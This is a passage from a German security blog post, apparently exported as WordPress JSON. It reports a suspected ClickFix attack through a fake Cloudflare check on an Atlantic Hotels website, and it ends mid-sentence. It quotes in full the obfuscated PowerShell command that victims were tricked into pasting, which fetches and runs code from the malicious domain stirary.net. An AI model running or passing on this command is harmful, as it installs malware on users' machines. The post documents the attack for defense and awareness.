{"id":329776,"date":"2026-09-19T12:15:51","date_gmt":"2026-09-19T10:15:51","guid":{"rendered":"https:\/\/borncity.com\/blog\/?p=329776"},"modified":"2026-09-19T23:03:23","modified_gmt":"2026-09-19T21:03:23","slug":"cybervorfall-bei-atlantic-hotel-gruppe-18-9-2026","status":"publish","type":"post","link":"https:\/\/borncity.com\/blog\/2026\/09\/19\/cybervorfall-bei-atlantic-hotel-gruppe-18-9-2026\/","title":{"rendered":"Cybervorfall bei Atlantic Hotels Gruppe (18.9.2026)?"},"content":{"rendered":"

\"SicherheitBei der Atlantic Hotels Gruppe gab es mutma\u00dflich einen Cybervorfall, der zumindest das Atlantic Hotel Kiel betraf. Ein Leser hat es zuf\u00e4llig mitbekommen und mich \u00fcber seine Beobachtungen informiert. Die von mir vermutete Kompromittierung, die wohl am Freitag, den 18. September 2026 auftrat, ist vermutlich vom Betreiber bemerkt worden, da die Seite kurze Zeit offline war, und dann in den Wartungsmodus versetzt wurde.<\/p>\n

<\/p>\n

Die Atlantic Hotels Gruppe<\/h2>\n

\"\"Die Atlantic Hotels Gruppe geh\u00f6rt der Zech Group, dessen Eigent\u00fcmer der Bremer Bauunternehmer und Investor Kurt Zech ist. Dieser begann 1990 mit dem Einstieg in Hotelprojekte. Als Teil des Baukonzerns Zech liegen bei den\u00a0Atlantic Hotels<\/em> die Entwicklung, Bau, Eigentum und Betrieb in einer Hand<\/a>.<\/p>\n

\"Atlantic-Hotel-Kiel\"
\nAtlantic-Hotel-Kiel<\/p>\n

Laut diesem Artikel<\/a> sind die Atlantic Hotels mit derzeit 20 H\u00e4usern und 2.461 Zimmern ein echtes Schwergewicht im deutschen Hotelmarkt. Die Hotels sind inzwischen \u00fcber ganz Deutschland verteilt, und die Hotelgruppe will 2027 rund 150 Millionen Euro Jahresumsatz erzielen.<\/p>\n

Eine Leserbeobachtung vom 18. Sept. 2026<\/h2>\n

Ich habe es erst versp\u00e4tet gesehen, weil die am 18. September 2026 (nach 21:00 Uhr)\u00a0 verschickten Mails von Blog-Leser Thomas B. im SPAM-Ordner gelandet waren. Tom schrieb mir unter dem Betreff Hack:<\/em><\/p>\n

\"Da ich Samstag in Kiel bin, habe ich mich mal nach Hotels und Gastronomie umgesehen. Dabei bin ich auf die Seite vom Atlantic Hotel Kiel gekommen.\"<\/p><\/blockquote>\n

Obiger Screenshot zeigt die Hotelseite, die ich aus einem Webarchiv gezogen habe (die Hotelseiten der Atlantic Hotels Gruppe sind derzeit im Wartungsmodus). Als Tom die Webseite der Atlantic Hotels Gruppe aufrufen wollte, erschien nach seiner Aussage eine \"Cloudflare-Box\", die pr\u00fcfen wollte, ob der Webseitenbesucher ein Mensch ist.<\/p>\n

Diese Vorschaltungen sind heute auf vielen Webseiten \u00fcblich, da denkt sich der normale Webseitenbesucher nichts dabei. Kritisch wird es aber, wenn dabei eine Aktion vom Besucher verlangt wird. Dann sollte man misstrauisch werden.<\/p>\n

ClickFix-Angriff \u00fcber \"Cloudflare-Box\"<\/h3>\n

Tom schrieb, dass die Anweisung kam, dass f\u00fcr die Pr\u00fcfung die Tastenkombination Windows<\/em>\u00a0+ R<\/em> sowie danach die Tastenkombination STRG<\/em> + V<\/em> und dann Enter<\/em> ausgef\u00fchrt werden sollte.<\/p>\n

Danach wurde ihm die Seite der Atlantic Hotels Gruppe mit dem Objekt in Kiel freigeben. Er konnte sich u.a. die Bar des Atlantic Deck 8 und die Speisekarte etc. ansehen. An dieser Stelle m\u00fcssten die Alarmglocken l\u00e4uten, denn da ist was nicht koscher und das Ganze tr\u00e4gt die Z\u00fcge eines ClickFix-Angriffs.<\/p>\n

Bei einem ClickFix-Angriff soll das Opfer dazu gebracht werden, sch\u00e4dliche Befehle unwissentlich selbst auf dem Computer auszuf\u00fchren. Die Opfer landen unter einem Vorwand auf manipulierten Webseiten und sehen gef\u00e4lschte Fehlermeldungen, angebliche Browser-Updates oder Captchas (wie \"Ich bin kein Roboter\"). In obigem Fall war es angeblich eine Cloudflare-Box zur Pr\u00fcfung, ob ein Mensch die Seite besucht. Die besuchte Webseite kopiert unbemerkt einen Schadcode in die Zwischenablage des Nutzers (Pastejacking). Dann wird das Opfer angewiesen, eine Tastenkombination zu dr\u00fccken oder einen Befehls auszuf\u00fchren. Durch das Best\u00e4tigen wird ein Systemwerkzeug (wie PowerShell) gestartet, das im Hintergrund Malware wie Info-Stealer oder Remote-Access-Trojaner (RATs) installiert.<\/span><\/span><\/p><\/blockquote>\n

Blog-Leser Thomas hat sich das Ganze dann n\u00e4her angeschaut und dokumentiert, so dass ich die Details hier offen legen kann (danke daf\u00fcr).<\/p>\n

Ungew\u00f6hnliches Verhalten des Rechners<\/h3>\n

Zuerst fiel dem Leser auf, dass ab und zu eine schwarze Box auf poppte. Er hat daraufhin das Dialogfeld Ausf\u00fchren<\/em> \u00fcber das Startmen\u00fc aufgerufen und nachgesehen, was dort der letzte Befehl war. Dort fand er nachfolgende PowerShell-Anweisung:<\/p>\n

powershell.exe -wiNdOw mini $NRgScP='Name';$cpHa=59;$Fjk = Get-Command -m 'M*.*er*.*t*y' -C 'Cm';$Fjk=$Fjk.$NRgScP;$sYxm=.$Fjk[60] stirary.net;.$Fjk[$cpHa]($sYxm);$TRTTzrXDJJNWGheKmuhPSUejsjegJelGhDYfAutkdcOeNrkxqcSWZMZOxglmOQsQHZxEDUzAlXyVBzBBjHkQuKxJUVqswIB<\/pre>\n
Die Anweisung ist schon nicht transparent. Er hat dann einen vollst\u00e4ndigen Scan des Defender laufen lassen, sp\u00e4ter einen Offline-Scan nachgeschoben und eine Analyse per KI\u00a0 versucht.<\/p>\n
KI-Analyse w\u00e4hrend des Scans<\/h3>\n
Tom hat \"seiner KI\" , wie er schreibt, dann die Aufgabe erteilt, einige Analysen durchzuf\u00fchren, w\u00e4hrend nebenbei der Defender lief und scannte. Der Leser hat mir das Resultat der KI-Analyse zukommen lassen. Im PowerShell-Operational-Log tauchen laut seiner Aussage (ich habe die Eintr\u00e4ge gesehen) tats\u00e4chlich ausgef\u00fchrte PowerShell-ScriptBlocks auf, die aus folgendem Pfad stammen:<\/p>\n
C:\\ProgramData\\Jinglingly\\imprisonedism.ps1<\/pre>\n
Das ist kein normaler Pfad f\u00fcr eine harmlose Cloudflare-Pr\u00fcfung. Die aufgezeichneten ScriptBlocks enthalten, so der Leser, au\u00dferdem umfangreichen, absichtlich verschleierten PowerShell-Code.<\/p>\n
\"Damit ist die Situation deutlich ernster als nur eine verd\u00e4chtige Webseite\" schrieb mir Tom, und erg\u00e4nzte \"Allerdings m\u00f6chte ich noch nicht behaupten, dass genau der vor einer Stunde eingegebene stirary.net<\/em>-Befehl diese Datei angelegt hat.\"<\/p>\n
Anmerkung: Bei stirary.net handelt es sich um eine b\u00f6sartige Domain (Malware-Infrastruktur), die Sicherheitsanalysen zufolge f\u00fcr Cyberangriffe genutzt wird.<\/p><\/blockquote>\n
Die EVTX-Datei enth\u00e4lt laut Leser viele ScriptBlock-Eintr\u00e4ge, und er m\u00f6chte die zeitliche Zuordnung in weiteren Analysen sauber herstellen. Aber bei der ersten schnellen Analyse der Logdatei konnte er folgendes sehen:<\/p>\n